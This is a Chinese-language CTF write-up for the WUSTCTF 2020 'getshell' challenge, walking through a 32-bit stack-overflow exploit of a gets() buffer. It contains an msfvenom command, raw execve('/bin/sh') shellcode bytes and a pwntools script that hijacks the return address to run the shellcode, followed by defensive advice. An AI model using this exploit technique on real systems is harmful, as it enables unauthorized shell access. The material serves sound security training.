1. 题目背景与核心漏洞分析
这道来自WUSTCTF 2020的pwn题被收录在BUUCTF平台中,考察的是经典的栈溢出漏洞利用。题目名为"getshell"已经明确提示了最终目标——通过栈溢出获取目标系统的shell控制权。这类题型在CTF比赛中属于基础题型,但包含了许多值得深入分析的技巧点。
栈溢出漏洞的本质是程序没有对用户输入的长度进行严格校验,导致数据覆盖了函数调用栈中的返回地址。在x86架构下,当函数执行ret指令时,处理器会从栈顶弹出返回地址到EIP寄存器。如果我们能精确控制这个返回地址,就能劫持程序执行流。
2. 环境准备与初步侦查
首先需要配置好分析环境:
# 安装必要工具 sudo apt install gdb peda checksec # 下载题目文件 wget https://buuoj.cn/files/xxxxxxxx/wustctf2020_getshell chmod +x wustctf2020_getshell使用checksec检查程序保护机制:
checksec ./wustctf2020_getshell典型输出可能显示:
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)关键信息:
- 32位程序
- 没有栈保护(Canary)
- 没有NX保护(栈可执行)
- 没有地址随机化(PIE)
这种保护机制组合意味着我们可以直接在栈上布置shellcode并通过覆盖返回地址跳转到栈上执行。
3. 逆向分析与漏洞定位
使用IDA Pro或Ghidra分析程序,重点关注以下函数:
- 存在危险函数调用(如gets, strcpy等)
- 缓冲区大小与输入长度的关系
- 是否存在后门函数或现成的system调用
在本题中通常会找到一个类似如下的脆弱函数:
void vulnerable_function() { char buffer[64]; gets(buffer); // 危险函数,不检查输入长度 }通过计算可知:
- buffer起始地址到返回地址的偏移量 = 缓冲区大小(64) + EBP(4) = 68字节
- 我们需要构造的payload结构:[填充68字节] + [返回地址] + [shellcode]
4. 漏洞利用开发
4.1 确定偏移量
虽然通过静态分析可以计算出理论偏移量,但实际环境中建议使用cyclic模式验证:
from pwn import * p = process('./wustctf2020_getshell') payload = cyclic(100) p.sendline(payload) p.wait() # 查看崩溃时EIP的值 eip = p.corefile.eip offset = cyclic_find(eip)4.2 获取shellcode
由于NX保护关闭,我们可以使用经典的execve("/bin/sh")的shellcode:
# 生成shellcode msfvenom -p linux/x86/exec -f python --var-name shellcode CMD=/bin/sh输出示例:
shellcode = b"" shellcode += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" shellcode += b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"4.3 构造完整payload
结合前面信息构造利用代码:
from pwn import * context(arch='i386', os='linux') # 连接方式 if args.REMOTE: p = remote('node4.buuoj.cn', 12345) else: p = process('./wustctf2020_getshell') # 关键地址 ret_addr = 0xffffd000 # 需要根据实际调试确定 # shellcode shellcode = ( b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ) # 构造payload payload = flat( b'A' * offset, p32(ret_addr), shellcode ) p.sendline(payload) p.interactive()5. 动态调试技巧
在实际利用过程中,有几个关键调试技巧:
- 确定栈地址:
gdb ./wustctf2020_getshell b *vulnerable_function+25 # 在ret指令前断点 r <<< $(python -c "print 'A'*72") x/20wx $esp- 处理地址中的坏字符:
- 如果遇到00等坏字符,需要调整shellcode或使用编码技术
- 可以使用msfvenom的编码功能:
-e x86/alpha_mixed
- 应对小缓冲区情况:
- 当缓冲区太小时,可以采用"返回libc"技术
- 或者使用多阶段payload(先读入大shellcode到可写内存)
6. 常见问题与解决方案
6.1 段错误但偏移计算正确
可能原因:
- 栈地址不准确
- 存在坏字符截断payload
解决方案:
- 使用gdb动态调试确定准确栈地址
- 检查shellcode是否包含\x00等坏字符
6.2 本地成功但远程失败
可能原因:
- 环境差异导致栈地址变化
- 远程有额外限制
解决方案:
- 使用NOP sled增加容错性
- 尝试多次爆破栈地址
6.3 程序有ASLR保护
虽然本题没有,但遇到时的解决方案:
- 泄露libc地址计算基址
- 使用ROP技术构造调用链
7. 防御措施与安全启示
从防御角度,开发者应该:
- 永远不使用gets等危险函数
- 启用所有保护机制(Canary, NX, PIE等)
- 使用安全的字符串处理函数(snprintf等)
- 进行严格的输入验证
对于安全学习者,这道题展示了:
- 栈溢出基本原理
- shellcode构造技术
- 动态调试方法
- 漏洞利用的完整流程
通过这道基础题目的练习,可以掌握pwn类题目的基本分析方法,为后续更复杂的漏洞利用打下坚实基础。建议在掌握基础后,尝试挑战开启了更多保护机制的题目,如同时存在NX和ASLR的情况。